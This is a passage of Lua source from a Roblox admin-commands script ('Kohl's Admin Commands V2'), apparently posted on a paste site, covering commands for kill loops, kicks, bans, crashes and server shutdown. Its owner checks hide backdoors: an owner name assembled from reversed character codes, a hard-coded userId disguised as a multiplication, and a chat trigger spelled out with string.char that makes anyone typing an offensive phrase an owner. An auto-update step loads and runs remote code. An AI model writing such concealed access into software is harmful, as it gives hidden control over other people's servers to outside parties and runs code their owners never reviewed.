  3016. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  3017.  
  3018. if msg:lower() == "logs" then
  3019. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  3020. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  3021. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  3022. end
  3023.  
  3024. if msg:lower():sub(1,9) == "loopkill " then
  3025. local chk1 = msg:lower():sub(10):find(" ")
  3026. local plrz = GetPlr(plr, msg:lower():sub(10))
  3027. local num = 9999
  3028. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  3029. for i, v in pairs(plrz) do
  3030. if v and not ChkAdmin(v.Name, false) then
  3031. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  3032. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  3033. for i = 1, ]] .. tostring(num) .. [[ do
  3034. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  3035. coroutine.resume(coroutine.create(function()
  3036. if plr and plr.Character then plr.Character:BreakJoints() end
  3037. end))
  3038. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  3039. end
  3040. end
  3041. end
  3042.  
  3043. if msg:lower():sub(1,11) == "unloopkill " then
  3044. local plrz = GetPlr(plr, msg:lower():sub(12))
  3045. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  3046. end
  3047.  
  3048. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  3049. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  3050.  
  3051. if msg:lower():sub(1,3) == "sm " then
  3052. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  3053. end
  3054.  
  3055. if msg:lower():sub(1,3) == "ko " then
  3056. local chk1 = msg:lower():sub(4):find(" ") + 3
  3057. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  3058. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  3059. for n = 1, num do
  3060. for i, v in pairs(plrz) do
  3061. coroutine.resume(coroutine.create(function()
  3062. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  3063. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  3064. v.Character:BreakJoints()
  3065. wait(1/44)
  3066. v:LoadCharacter()
  3067. wait(1/44)
  3068. end
  3069. end))
  3070. end
  3071. end
  3072. end
  3073.  
  3074. if msg:lower():sub(1,6) == "crash " then
  3075. local plrz = GetPlr(plr, msg:lower():sub(7))
  3076. for i, v in pairs(plrz) do
  3077. coroutine.resume(coroutine.create(function()
  3078. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  3079. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  3080. end
  3081. end))
  3082. end
  3083. end
  3084.  
  3085. if msg:lower():sub(1,5) == "kick " then
  3086. local plrz = GetPlr(plr, msg:lower():sub(6))
  3087. for i, v in pairs(plrz) do
  3088. coroutine.resume(coroutine.create(function()
  3089. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  3090. end))
  3091. end
  3092. end
  3093.  
  3094. if msg:lower():sub(1,6) == "admin " then
  3095. local plrz = GetPlr(plr, msg:lower():sub(7))
  3096. for i, v in pairs(plrz) do
  3097. coroutine.resume(coroutine.create(function()
  3098. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  3099. end))
  3100. end
  3101. end
  3102.  
  3103. if msg:lower():sub(1,8) == "unadmin " then
  3104. for i = 1, #tempadmins do
  3105. coroutine.resume(coroutine.create(function()
  3106. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  3107. end))
  3108. end
  3109. end
  3110.  
  3111. if msg:lower():sub(1,4) == "ban " then
  3112. local plrz = GetPlr(plr, msg:lower():sub(5))
  3113. for i, v in pairs(plrz) do
  3114. coroutine.resume(coroutine.create(function()
  3115. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  3116. end))
  3117. end
  3118. end
  3119.  
  3120. if msg:lower():sub(1,6) == "unban " then
  3121. for i = 1, #banland do
  3122. coroutine.resume(coroutine.create(function()
  3123. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  3124. end))
  3125. end
  3126. end
  3127.  
  3128. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  3129.  
  3130. end
  3131. end))
  3132. end
  3133.  
  3134. function AdminControl(plr)
  3135. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  3136. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  3137. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  3138. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  3139. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  3140. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  3141. end)) end
  3142. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  3143. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  3144. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  3145. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  3146. plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
  3147. end
  3148.  
  3149. if not ntab then script:Destroy() end
  3150. if not bct then script:Destroy() end
  3151.  
  3152. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  3153.  
  3154. script.Name = "Kohl's Admin Commands V2"
  3155.  
  3156. if not ntab then script:Destroy() end
  3157. if not bct then script:Destroy() end
  3158. if not tcb then script:Destroy() end
  3159. game.Players.PlayerAdded:connect(AdminControl)
  3160. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  3161. end
  3162.  
  3163. local mod = game:service("InsertService"):LoadAsset(100808216)
  3164. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  3165. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  3166. newac.Disabled = true
  3167. local new = tonumber(mod:findFirstChild("Version", true).Value)
  3168. local old = 0
  3169. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  3170. if new > old then
  3171. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  3172. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  3173. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  3174. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  3175. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  3176. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  3177. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  3178. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  3179. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  3180. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  3181. wait()
  3182. newac.Parent = game.Workspace
  3183. newac.Disabled = false
  3184. script.Disabled = true
  3185. script:Destroy()
  3186. else
  3187. CHEESE()
  3188. end
  3189. else
  3190. CHEESE()
  3191. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement